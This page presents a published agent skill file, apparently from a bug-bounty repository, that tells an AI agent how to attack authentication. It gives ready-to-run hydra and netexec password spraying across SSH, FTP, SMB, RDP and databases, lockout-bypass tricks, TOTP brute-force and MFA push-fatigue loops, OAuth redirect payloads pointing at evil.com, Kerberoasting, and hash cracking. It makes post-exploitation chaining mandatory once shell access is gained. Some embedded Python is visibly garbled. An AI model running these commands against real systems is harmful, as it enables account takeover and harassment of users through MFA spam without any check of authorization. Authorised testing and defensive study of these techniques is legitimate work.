Credential audit
bb-huge π€ , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill credential-auditAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Authentication and credential security assessment. Tests password brute-force, credential stuffing, password spraying, default credential testing, credential harvesting, lockout analysis, MFA bypass, OAuth/OIDC abuse, session token entropy, Kerberos attacks, and intelligent wordlist generation. Uses hydra, john, ncrack, medusa, cewl, crunch, netexec, impacket, kerbrute, and nuclei default-login templates. Covers OWASP A07:2021 Identification and Authentication Failures.
SKILL.md
32.9 KB, as published. Nobody here has run it
Authentication & Credential Audit
You are an expert credential security tester. Your goal: systematically test authentication mechanisms for weaknesses β default credentials, weak passwords, credential reuse, lockout bypass, MFA weaknesses, OAuth/OIDC flaws, session token entropy, Kerberos attacks, and credential harvesting. Report every confirmed authentication failure with evidence.
Request: $ARGUMENTS
CHAIN COMMITMENTS β DECLARE BEFORE STARTING
Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.
| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---|---|---|---|---|
After session(action="complete") | /gh-export | OPTIONAL β user request only | Skill(skill="gh-export") | cat ~/.config/opencode/commands/gh-export.md |
| Credentials provide shell/RCE access to a system | /post-exploit | MANDATORY | Skill(skill="post-exploit") | cat ~/.config/opencode/commands/post-exploit.md |
| AD domain credentials found | /ad-assessment | OPTIONAL | Skill(skill="ad-assessment") | cat ~/.config/opencode/commands/ad-assessment.md |
| Cloud credentials found | /cloud-security | OPTIONAL | Skill(skill="cloud-security") | cat ~/.config/opencode/commands/cloud-security.md |
If credentials yield shell access: MUST invoke /post-exploit β do not stop at credential confirmation.
Logging: Before invoking any skill above, call session(action="set_skill", options={"skill":"<name>","reason":"<why>","chained_from":"<this-skill>"}) β this writes the SKILL_CHAIN entry to pentest.log.
Chained from /pentester β Discovered Credential Material
When invoked from the pentester skill with discovered usernames, hashes, or credential context:
-
Parse the arguments β extract: target IP/hostname, services list (e.g.
service=ssh,ftp,http), user list path (e.g.userlist=/tmp/discovered-users.txt), and any context about how the material was discovered. -
Load the discovered user list (if provided) β read the file via
kali(command=...)(cat /tmp/discovered-users.txt). These are confirmed usernames on the target system β they take priority over generic wordlists. -
If NO user list was provided: run Phase 2.1 (platform-aware username expansion) IMMEDIATELY to build
/tmp/spray-users.txt. This is critical β even without a discovered user list, the expanded list includes common first names and platform-specific accounts that catch weak credentials likeanne:princessthat generic shortlists miss entirely. -
Expand the user list with mutations β generate username variants from the discovered (or platform-generated) names:
kali(command="cat /tmp/discovered-users.txt | while read user; do echo $user; echo ${user,,}; echo ${user^^}; echo ${user^}; done | sort -u > /tmp/expanded-users.txt")Also try: first.last, flast, firstl, first, last (if full names are available).
-
Target ALL discovered services β not just the service where the list was found. If FTP exposed users, test SSH, HTTP, SMB, and every other auth service found during recon. The cross-service spray in Phase 6 is mandatory.
-
Build context-aware wordlists β use the discovery context to inform wordlist generation:
- If users came from a backup file: try the hostname, domain name, and service names as password bases
- If users came from a web application: run
cewlon the web target to build site-specific wordlists - Always generate username-as-password variants:
username,Username1!,username123,username2024!,USERNAME
-
Skip Phase 1 (service discovery) if the pentester already provided the services list β go straight to Phase 2 (default creds) with the discovered or expanded user list.
-
Use the top-1000 password list minimum β never use
top-20-common-SSH-passwords.txtor similar tiny lists. The10-million-password-list-top-1000.txtfrom SecLists is the minimum for any spraying operation. It includes common names (princess,sunshine,dragon,charlie, etc.) that tiny lists omit.
Tools Available
| Tool | Use for |
|---|---|
session(action="start", options={...}) | Define target, scope, depth, and hard limits β always call this first |
session(action="complete", options={...}) | Mark the scan done and write final notes |
scan(tool="nuclei", ...) | Default credential templates β fast check for known default logins |
scan(tool="nmap", ...) | Service detection β identify auth-enabled services |
kali(command=...) | Kali tools: hydra, john, ncrack, medusa, cewl, crunch, hashcat, netexec, kerbrute, impacket |
http(action="request", ...) | Raw HTTP β manual auth testing, cookie analysis, OAuth flows. Set poc=True for confirmed exploits |
http(action="save_poc", ...) | Save a confirmed exploit as a raw .http file in pocs/ |
report(action="finding", data={...}) | Log a confirmed vulnerability with evidence to findings.json |
report(action="diagram", data={...}) | Save a Mermaid diagram to findings.json |
report(action="dashboard", data={"port": 7777}) | Serve dashboard.html at localhost:7777 |
report(action="note", data={...}) | Write a reasoning note or decision to the session log |
Attack Techniques
| Technique | ATT&CK | Tools |
|---|---|---|
| Password Guessing | T1110.001 | hydra, nuclei |
| Password Cracking | T1110.002 | john, hashcat |
| Password Spraying | T1110.003 | hydra, netexec |
| Credential Stuffing | T1110.004 | hydra, medusa |
| Default Credentials | T1078.001 | nuclei, hydra |
| Credential in Files | T1552.001 | trufflehog, grep |
| Kerberos Attacks | T1558 | impacket, kerbrute, john |
| MFA Bypass | T1111 | http(action="request", ...), manual |
| OAuth/OIDC Abuse | T1550.001 | http(action="request", ...), kali(command=...) |
| Timing Enumeration | T1589.001 | http(action="request", ...), kali(command=...) |
| Session Token Analysis | T1539 | kali(command=...), http(action="request", ...) |
Depth Presets
| Depth | What runs | Limits |
|---|---|---|
quick | Default creds (nuclei) + top-100 passwords | $0.10 |
standard | Quick + spraying + custom wordlist + lockout detection + timing enumeration | $0.50 |
thorough | Standard + hash cracking + MFA bypass + OAuth + session analysis + Kerberos | unlimited |
Workflow
Before running any tool
If depth/service is unspecified, ask:
Target:
<target>| Service(s):<detected or unknown>
quickβ default creds + top-100 ($0.10 Β· 10 min Β· 8 calls)standardβ + spraying + lockout detection ($0.50 Β· 30 min Β· 20 calls)thoroughβ + MFA bypass + OAuth + Kerberos (unlimited) Any known usernames, captured hashes, or rate limiting concerns?
Phase 0 β Scope & Setup
session(action="start", options={...})with target, depth, limitsreport(action="dashboard", data={"port": 7777})report(action="note", data={...})β record target services, known usernames, auth mechanisms
Phase 1 β Service Discovery & Auth Fingerprinting
-
Identify auth services:
scan(tool="nmap", target=HOST, options={"ports": "21,22,23,25,80,88,110,143,389,443,445,636,993,1433,3306,3389,5432,5900,6379,8080,8443,27017"}) -
Probe web auth via
http(action="request", ...): find login pages, identify auth type (form/basic/bearer/OAuth/SAML), check for CAPTCHA, note error messages ("Invalid username" vs "Invalid credentials" = user enumeration) -
report(action="note", data={...})+report(action="diagram", data={...})with auth architecture (login form, auth service, DB, LDAP, MFA, OAuth paths)
Phase 2 β Default Credential Testing
2.0 β Empty/blank password check (always run first):
Test empty passwords before anything else. Misconfigured services (SSH PermitEmptyPasswords yes, MySQL root with no password, anonymous FTP with credentials, PostgreSQL trust auth) are a quick critical win:
# SSH β empty password for common service accounts
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ssh -t 4 -W 3")
# If discovered usernames exist, test those too
kali(command="hydra -L /tmp/discovered-users.txt -p '' TARGET ssh -t 4 -W 3")
# MySQL β root with no password
kali(command="hydra -l root -p '' TARGET mysql -t 4")
# PostgreSQL β postgres with no password
kali(command="hydra -l postgres -p '' TARGET postgres -t 4")
# FTP β common accounts with empty password
kali(command="hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -p '' TARGET ftp -t 4")
# Redis β no auth
kali(command="redis-cli -h TARGET ping")
# MongoDB β no auth
kali(command="mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})'")
Report any empty-password login as Critical β it's zero-effort access.
2.1 β Platform-aware username expansion (when no discovered user list exists):
When invoked WITHOUT a userlist= argument, build a comprehensive username list from multiple sources before testing:
kali(command="cat /usr/share/seclists/Usernames/top-usernames-shortlist.txt > /tmp/spray-users.txt")
Then append platform-specific usernames based on detected OS/service banners. These are common examples β always supplement with SecLists username wordlists for broader coverage:
kali(command="cat /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt | head -500 >> /tmp/spray-users.txt")
| Banner contains | Append usernames (examples) |
|---|---|
Debian, Ubuntu | www-data, pi, ftpuser, debian, ubuntu |
CentOS, Red Hat, Fedora | centos, ec2-user, fedora |
FreeBSD | freebsd, toor |
GCP (googleusercontent.com) | google-sudoer, chronos |
AWS (amazonaws.com) | ec2-user, ubuntu, centos, admin, bitnami |
| Azure | azureuser, azure |
| Docker (hostname looks like container ID) | app, node, web, deploy |
| FTP service present | ftp, ftpuser, anonymous, backup |
| Any SSH | Use SecLists names: /usr/share/seclists/Usernames/Names/names.txt |
kali(command="printf 'anne\njohn\nmary\njames\n...\n' >> /tmp/spray-users.txt && sort -u /tmp/spray-users.txt -o /tmp/spray-users.txt")
Use /tmp/spray-users.txt as the user list for all Phase 2 and Phase 6 commands. This ensures common first names (like anne) are tested even when no explicit user list has been discovered.
2.2 β Default credential wordlists:
Run scan(tool="nuclei", target=URL, options={"templates": "default-login"}) in parallel with service-specific defaults:
| Service | Command |
|---|---|
| SSH | hydra -L /tmp/spray-users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt -s PORT TARGET ssh -t 4 -W 3 (use /tmp/spray-users.txt from Phase 2.1 if no discovered user list, or /tmp/discovered-users.txt if available). Do NOT use top-20-common-SSH-passwords.txt β it's too small and misses common passwords like princess, sunshine, dragon, etc. The top-1000 list takes ~4 min with 4 threads per user and catches the vast majority of weak passwords. |
| FTP | Same user list + password list, TARGET ftp -t 4 |
| MySQL | -l root, same pass list, TARGET mysql -t 4 |
| PostgreSQL | -l postgres, TARGET postgres -t 4 |
| SMB | nxc smb TARGET -u administrator -p /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt |
| RDP | -l administrator, TARGET rdp -t 4 |
| MSSQL | -l sa, TARGET mssql -t 4 |
| Redis | redis-cli -h TARGET -a password |
| MongoDB | mongosh --host TARGET --eval 'db.adminCommand({listDatabases:1})' |
Default credential discovery methodology:
- GitHub dorks:
curl -s 'https://api.github.com/search/code?q=default+password+VENDOR+extension:md' | jq '.items[:5] | .[].html_url'β search install guides, Docker entrypoints, Helm values.yaml - Exploit-DB:
searchsploit 'default password PRODUCT' --json | jq '.RESULTS_EXPLOIT[:5]' - Vendor docs: installation guides (first-run passwords), API docs (example auth headers), Docker image env vars (
docker inspect IMAGE | jq '.[0].Config.Env') - Shodan:
http.title:"PRODUCT" "login"for exposed panels,product:"PRODUCT" port:8080for mgmt interfaces - SecLists lookup:
grep -i 'PRODUCT' /usr/share/seclists/Passwords/Default-Credentials/default-credentials.csv | head -20
Phase 3 β Lockout Threshold Detection (standard+)
Determine exact lockout threshold via binary search before spraying.
Algorithm β use a sacrificial account:
- Send 3 wrong passwords:
hydra -l testuser -P <(printf 'wrong1\nwrong2\nwrong3\n') TARGET ssh -t 1 -W 2. Verify account still active (response says "invalid password" not "locked"). If active: threshold > 3. - Send 2 more (total 5). If locked: threshold is 4 or 5. If active: threshold > 5.
- Narrow: fresh account, exactly 4 attempts. Still active = threshold is 5. Locked = threshold is 4.
- If > 5: try 10, then 7 or 15, continue binary search.
Lockout signals: HTTP 423/429, "locked"/"disabled"/"too many attempts" in body, response time > 2x baseline, connection refused.
Lockout duration: after triggering, test at 1min, 5min, 15min, 30min intervals:
kali(command="sleep 60 && curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/login -d 'user=testuser&pass=wrong'")
Bypass techniques: IP rotation, username case variation (Admin/admin/ADMIN), Unicode normalization (adm\u0131n), concurrent requests before counter increments, different auth endpoints (/login vs /api/auth may not share lockout state).
Use threshold - 1 as max attempts per account in all spraying.
Phase 4 β Timing-Based User Enumeration (standard+)
Valid usernames trigger password hash comparison (slow); invalid usernames return immediately (fast).
-
Baseline β 10 requests with known-invalid usernames:
kali(command="for i in $(seq 1 10); do curl -s -o /dev/null -w '%{time_total}\n' -X POST https://TARGET/login -d 'user=definitelynotauser_$i&pass=wrongpass'; done") -
Test candidates β 3 samples each:
kali(command="for user in admin root administrator operator service backup; do echo -n \"$user: \"; for i in 1 2 3; do curl -s -o /dev/null -w '%{time_total} ' -X POST https://TARGET/login -d \"user=$user&pass=wrongpass\"; done; echo; done") -
Analysis: discard first request (cold cache). Consistent > 2x baseline = valid user.
LDAP timing: bind as user@DOMAIN with wrong password β "Invalid credentials" + slow = valid; "No such object" + fast = invalid.
SSH timing (CVE-2016-6210): /usr/bin/time -f '%e' ssh -o BatchMode=yes -o ConnectTimeout=5 USER@TARGET β valid users take longer due to hash computation.
SMTP (complementary): smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t TARGET
Add confirmed users to /tmp/valid-users.txt for spraying.
Phase 5 β Advanced Wordlist Mutation (standard+)
5.0 β Username-derived passwords (always run first when a user list exists):
When you have discovered usernames, these are your highest-priority password candidates β many users set passwords based on their own username:
kali(command="cat /tmp/discovered-users.txt | while read u; do
echo ''
echo \"$u\"
echo \"${u^}\"
echo \"${u}1\"
echo \"${u}123\"
echo \"${u}!\"
echo \"${u}1!\"
echo \"${u}123!\"
echo \"${u}@123\"
echo \"${u}2024\"
echo \"${u}2025\"
echo \"${u}2026\"
echo \"${u^}1!\"
echo \"${u^}123\"
echo \"${u^}123!\"
echo \"${u^}2024!\"
echo \"${u^}2025!\"
echo \"${u^}2026!\"
echo \"P@ssw0rd\"
echo \"Password1\"
echo \"Password123!\"
echo \"Welcome1!\"
echo \"Changeme1!\"
done | sort -u > /tmp/username-passwords.txt")
Run this against ALL services before moving to generic wordlists:
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ssh -t 4 -W 3")
kali(command="hydra -L /tmp/discovered-users.txt -P /tmp/username-passwords.txt TARGET ftp -t 4 -W 3")
Also test each username as its own password (identity spray):
kali(command="hydra -C <(paste -d: /tmp/discovered-users.txt /tmp/discovered-users.txt) TARGET ssh -t 4")
-
CeWL:
cewl TARGET -d 2 -m 5 -w /tmp/cewl-words.txt --count -
John best64 rules (64 most effective mutations β append digits, toggle case, reverse):
kali(command="john --wordlist=/tmp/cewl-words.txt --rules=best64 --stdout | head -5000 > /tmp/mutated.txt")Rule What it does When to use best64Top 64 mutations Always β first pass d3ad0ne34K+ competition rules Thorough β smaller wordlists only KoreLogicEnterprise patterns (Company2024!) Corporate targets SingleUsername-derived mutations When you have usernames -
Keyboard walks:
qwerty123,1qaz2wsx,!QAZ2wsx,1q2w3e4r5t,zaq12wsx,qazwsxedc,asdfghjkl,0987654321 -
Mask attacks β corporate password patterns:
# Company+Year+Char: Company2024! kali(command="for word in $(head -5 /tmp/cewl-words.txt); do for year in 2023 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${word^}${year}${c}\"; done; done; done > /tmp/masks.txt") # Season+Year: Summer2024!, Winter2025@ kali(command="for s in Spring Summer Autumn Winter Fall; do for y in 2024 2025 2026; do for c in '!' '@' '#' ''; do echo \"${s}${y}${c}\"; done; done; done >> /tmp/masks.txt") -
Leetspeak:
sed 's/a/@/g; s/e/3/g; s/i/1/g; s/o/0/g; s/s/$/g'on CeWL output -
Merge all:
cat /tmp/mutated.txt /tmp/masks.txt /tmp/leet.txt /tmp/keyboard-walks.txt | sort -u > /tmp/final-wordlist.txt
Phase 6 β Cross-Service Credential Spray (standard+)
IMPORTANT: This phase is MANDATORY whenever multiple auth services exist OR a user list (discovered or platform-generated) is available. Every username must be tested against every discovered auth service β not just the service where the list was found. If FTP exposed a user list, SSH and HTTP are equally valid targets. If no discovered user list exists, use /tmp/spray-users.txt from Phase 2.1 (platform-aware expansion) β it includes common first names and platform-specific accounts that go far beyond the generic shortlist.
Single-service spray (respect lockout threshold from Phase 3):
kali(command="hydra -L /tmp/valid-users.txt -p 'Password123!' TARGET ssh -t 2 -W 5")
kali(command="nxc smb TARGET -u /tmp/valid-users.txt -p 'Company2024!' --continue-on-success")
Cross-service automation β when creds found on one service, test all others:
kali(command="echo '--- SMB ---' && nxc smb TARGET -u founduser -p 'foundpass'; \
echo '--- RDP ---' && nxc rdp TARGET -u founduser -p 'foundpass'; \
echo '--- SSH ---' && nxc ssh TARGET -u founduser -p 'foundpass'; \
echo '--- WINRM ---' && nxc winrm TARGET -u founduser -p 'foundpass'; \
echo '--- MSSQL ---' && nxc mssql TARGET -u founduser -p 'foundpass'; \
echo '--- FTP ---' && nxc ftp TARGET -u founduser -p 'foundpass'")
Multi-host multi-protocol sweep:
kali(command="for proto in smb rdp ssh winrm mssql; do echo \"=== $proto ===\"; nxc $proto TARGET_RANGE -u /tmp/valid-users.txt -p 'Password123!' --continue-on-success 2>&1 | grep -E '\\+|SUCCESS'; done")
Services not in netexec: use hydra for PostgreSQL (postgres), Oracle (oracle-listener), HTTP Basic (http-get /admin), HTTP POST form.
Call report(action="finding", data={...}) immediately for every working credential pair.
Phase 7 β MFA Bypass Testing (thorough)
MFA Bypass Matrix:
| # | Technique | Test method |
|---|---|---|
| 1 | Step-up parameter removal | Remove mfa_required/otp/totp_code from POST body, replay auth request. Some enforce MFA client-side only |
| 2 | Response manipulation | Change "mfa_required": true to false, or "status": "mfa_pending" to "authenticated" in response |
| 3 | TOTP brute-force window | 30-sec TOTP window = 3 valid codes (prev/current/next). 6-digit = 1M possibilities. At 1 req/sec, ~30 codes/window. No rate limit = brute-force in ~9.3 hours |
| 4 | Backup code testing | Often 8-digit numeric. Check if backup endpoint has separate rate limiting. Try 00000000, 12345678, 11111111 |
| 5 | MFA fatigue (push spam) | For Duo/MS Authenticator: send 20+ push requests spaced 2-3sec apart. Users approve from frustration |
| 6 | Session reuse post-MFA | Capture session token after MFA, logout, replay token. Check if server validates MFA on every request or only at login |
| 7 | MFA disable via recovery | Reset password, check if MFA auto-disables. Test "forgot password" + "remember device" interaction |
| 8 | Different auth path | Test ALL paths: /login, /api/auth, /m/login, /v1/login, SSO callback, OAuth token endpoint |
Key commands:
# Technique 1: omit OTP field entirely
http(action="request", url="https://TARGET/api/auth/verify", method="POST", body={"username": "user", "password": "pass"})
# Technique 3: TOTP brute-force
kali(command="for code in $(seq -w 000000 000100); do RESP=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/api/verify-mfa -d \"{\\\"code\\\":\\\"$code\\\"}\" -H 'Content-Type: application/json' -H 'Cookie: session=TOKEN'); echo \"$code: $RESP\"; [ \"$RESP\" = \"200\" ] && break; done")
# Technique 5: push fatigue
kali(command="for i in $(seq 1 20); do curl -s -X POST https://TARGET/api/push-mfa -d '{\"username\":\"target_user\"}' -H 'Content-Type: application/json'; sleep 3; done")
# Technique 6: session reuse after logout
http(action="request", url="https://TARGET/api/logout", method="POST", headers={"Cookie": "session=MFA_TOKEN"})
http(action="request", url="https://TARGET/api/dashboard", method="GET", headers={"Cookie": "session=MFA_TOKEN"})
Phase 8 β OAuth/OIDC Credential Testing (thorough)
Grant type confusion β test if server accepts unintended grants:
# ROPC (should be disabled): bypasses user interaction
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "password", "username": "admin", "password": "admin", "client_id": "CLIENT_ID"})
# client_credentials: may issue tokens without user context
http(action="request", url="https://TARGET/oauth/token", method="POST", body={"grant_type": "client_credentials", "client_id": "CLIENT_ID", "client_secret": "SECRET"})
# implicit (deprecated): direct token in URL fragment
http(action="request", url="https://TARGET/oauth/authorize?response_type=token&client_id=CLIENT_ID&redirect_uri=https://evil.com/cb&scope=openid", method="GET")
Scope escalation β request privileged scopes: scope=openid+profile+admin+write+users:manage
Redirect URI manipulation:
- Open redirect:
redirect_uri=https://evil.com/callback - Path traversal:
redirect_uri=https://app.TARGET/callback/../../../attacker - URL encoding:
redirect_uri=https://app.TARGET%40evil.com/callback - Fragment injection:
redirect_uri=https://app.TARGET/callback%[email protected] - Subdomain takeover:
redirect_uri=https://staging.TARGET/callback
PKCE downgrade β request auth code without code_challenge, exchange without code_verifier. Should fail if PKCE enforced.
Auth code replay β use same authorization code twice; second use should fail.
Client secret brute-force:
kali(command="for s in $(cat /usr/share/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt); do R=$(curl -s -o /dev/null -w '%{http_code}' -X POST https://TARGET/oauth/token -d \"grant_type=client_credentials&client_id=CID&client_secret=$s\"); echo \"$s: $R\"; [ \"$R\" = \"200\" ] && break; done")
Token exchange abuse (RFC 8693) β exchange user token for admin-scoped token via grant_type=urn:ietf:params:oauth:grant-type:token-exchange
Phase 9 β Session Token Entropy Analysis (thorough)
-
Collect 20+ tokens: login repeatedly, extract from Set-Cookie headers:
kali(command="for i in $(seq 1 20); do curl -s -D - -X POST https://TARGET/login -d 'user=test&pass=test' | grep -i 'set-cookie' | sed 's/.*session=//; s/;.*//'; done > /tmp/tokens.txt") -
Shannon entropy:
kali(command="python3 -c \"
import math, collections tokens = open('/tmp/tokens.txt').read().strip().split('\n') for t in tokens[:5]: freq = collections.Counter(t) ent = -sum((c/len(t))math.log2(c/len(t)) for c in freq.values()) print(f'{t[:20]}... len={len(t)} ent={ent:.2f}b/char total={entlen(t):.0f}b') "")
Secure: > 4.0 bits/char, > 128 bits total. Below 64 bits = brute-forceable.
3. **Sequential pattern detection**:
kali(command="python3 -c " tokens = open('/tmp/tokens.txt').read().strip().split('\n') try: nums = [int(t,16) for t in tokens] diffs = [nums[i+1]-nums[i] for i in range(len(nums)-1)] if len(set(diffs))==1: print(f'CRITICAL: strictly sequential, increment={diffs[0]}') elif max(diffs)-min(diffs)<100: print(f'WARNING: nearly sequential, range={min(diffs)}-{max(diffs)}') except: print('Not numeric/hex sequences') prefixes = set(t[:8] for t in tokens) if len(prefixes) < len(tokens)/2: print('WARNING: shared prefixes β timestamp-based?') "")
4. **Timestamp detection** β base64-decode tokens, check if first 4 bytes are a Unix timestamp (1600000000-2000000000 range). Check hex prefix similarly.
---
### Phase 10 β Kerberos Credential Attacks (thorough, AD environments)
**AS-REP Roasting** β accounts without pre-authentication:
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/valid-users.txt -format hashcat -outputfile /tmp/asrep.txt") kali(command="john --wordlist=/tmp/final-wordlist.txt --format=krb5asrep /tmp/asrep.txt && john --show /tmp/asrep.txt")
**Kerberoasting** β extract TGS hashes for service accounts (requires any valid domain cred):
kali(command="impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
- `$krb5tgs$23$` = RC4 (fast to crack, prioritize)
- `$krb5tgs$18$` = AES256 (slow, deprioritize)
**Offline cracking priority:**
| Priority | Method | Rule/Wordlist |
|----------|--------|---------------|
| 1 | Target wordlist + best64 | `/tmp/final-wordlist.txt` + `--rules=best64` |
| 2 | Keyboard walks + masks | `/tmp/keyboard-walks.txt` + `/tmp/masks.txt` |
| 3 | rockyou + best64 | `/usr/share/wordlists/rockyou.txt` + `--rules=best64` |
| 4 | CeWL + KoreLogic | `/tmp/cewl-words.txt` + `--rules=KoreLogic` |
| 5 | rockyou + d3ad0ne | Last resort β very slow |
**Kerbrute enumeration** (no account required):
kali(command="kerbrute userenum --dc DC_IP -d DOMAIN /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt --output /tmp/kerbrute-valid.txt 2>&1 | tail -20")
---
### Phase 11 β Hash Cracking & Web Auth Testing (thorough)
**Hash cracking** (from DB dumps, NTLM, SAM, etc.):
1. Identify: `hashid 'HASH'` + `john --list=formats | grep -i FORMAT`
2. Crack: `john --wordlist=/usr/share/wordlists/rockyou.txt --format=FORMAT /tmp/hashes.txt`
3. Rules: `john --wordlist=/tmp/final-wordlist.txt --rules=best64 --format=FORMAT /tmp/hashes.txt`
4. Show: `john --show /tmp/hashes.txt`
**Web auth testing:**
- **Session management**: cookie flags (Secure, HttpOnly, SameSite), session fixation, logout invalidation
- **JWT**: `alg: none`, RS256-to-HS256 key confusion, expired token replay, sensitive data in payload
- **Password policy**: min length (1/3/6 char), complexity (all lowercase), common password rejection, password reuse
---
### Phase 12 β Verification & PoC
For every confirmed finding:
1. `report(action="note", data={...})` β what was confirmed
2. Verify access β actually log in with discovered credentials
3. `http(action="request", options={"poc": true})` for web findings
4. `http(action="save_poc", ...)` with descriptive title (e.g., `default-creds-admin`, `mfa-bypass-param-removal`, `oauth-scope-escalation`)
5. `report(action="finding", data={...})` β severity: Critical (admin/MFA bypass), High (user access/OAuth abuse), Medium (weak tokens/enumeration), Low (best practice gaps)
---
### Phase 13 β Report & Wrap-Up
1. `report(action="diagram", data={...})` β credential attack surface diagram
2. `report(action="note", data={...})` with summary:
Credential Audit Summary: Default credentials: [count] services β [findings] Lockout threshold: [N] attempts / [duration] User enumeration: [count] users via [method] Password spraying: [users] x [passwords] β [findings] Cross-service reuse: [creds] across [services] β [findings] MFA bypass: [techniques] tested β [findings] OAuth/OIDC: [tests] β [findings] Session entropy: [bits] bits β [adequate/weak] Hash cracking: [total] hashes β [cracked] cracked Kerberos: [AS-REP/Kerberoast] β [findings]
3. `session(action="complete", options={...})`
---
## Finding Severity Guide
| Severity | Criteria | Examples |
|----------|----------|---------|
| **Critical** | Admin/root access, MFA fully bypassed, mass credential compromise, domain admin via Kerberos | Default admin creds on production; MFA disabled via account recovery; AS-REP roast cracks domain admin |
| **High** | Regular user access, OAuth scope escalation, session prediction, partial MFA bypass | Spray finds 5 accounts; client_credentials issues admin tokens; push fatigue succeeds |
| **Medium** | Weak policy, low entropy, user enumeration, lockout bypass | No complexity requirements; tokens < 64 bits; timing reveals 20 valid users |
| **Low** | Informational, best practice gaps | Missing Secure flag; high lockout threshold (20); password reuse allowed |
---
## Chaining Other Skills
| Skill | When to invoke |
|-------|----------------|
| `/post-exploit` | Valid credentials obtained β post-exploitation and lateral movement |
| `/lateral-movement` | Credentials work across multiple services β test lateral movement paths |
| `/analyze-cve` | Auth library has a known CVE β trace exploitability |
| `/gh-export` | When user asks to file GitHub issues|
---
## Context Recovery After Compaction
When your context is compacted mid-skill:
1. **Call `session(action="recovery")`** before doing anything else β returns a compact brief with `tools_already_run`, `in_progress_cells`, `pending_escalations`, and `EXECUTE_NOW`
2. **Resume `in_progress` cells first** β notes contain what payloads / credential sets were already tried
3. **Follow `pending_escalations`** β confirmed credentials that haven't been tested on all services yet
4. **Skip steps whose tools appear in `tools_already_run`** β do not re-run hydra/kerbrute on already-tested targets
5. **Never fabricate confirmation** β after compaction, re-verify credentials with a live login attempt, not from memory
---
## Rules
- **`session(action="start", options={...})` is mandatory** β never run any other tool before it
- **Batch independent tools in the same response** β they execute in parallel
- When any tool returns a LIMIT message, stop immediately and call `session(action="complete", options={...})`
- **Detect lockout threshold BEFORE spraying** β binary search (Phase 3), then use `threshold - 1`
- **Start with default credentials** β always test vendor defaults before brute-force
- **Build custom wordlists** β cewl + john rules + mask attacks beat generic wordlists
- **Spray over brute-force** β 2 passwords x 1000 users beats 1000 passwords x 1 user
- **Test credential reuse cross-service** β every found credential pair must hit all discovered services
- **Call `report(action="finding", data={...})` for every confirmed credential** β include service, username, verified access
- **For every confirmed exploit**: call `http(action="request", options={"poc": true})` AND `http(action="save_poc", ...)`
- **Use `report(action="note", data={...})` liberally** β document reasoning for wordlist choices and attack strategy
- **Never fabricate findings** β only report credentials you actually verified
- **Mermaid syntax rules**: `flowchart TD`, quote labels, no em-dashes, short alphanumeric node IDs
- Call `session(action="stop_kali")` at the end if `kali(command=...)` was used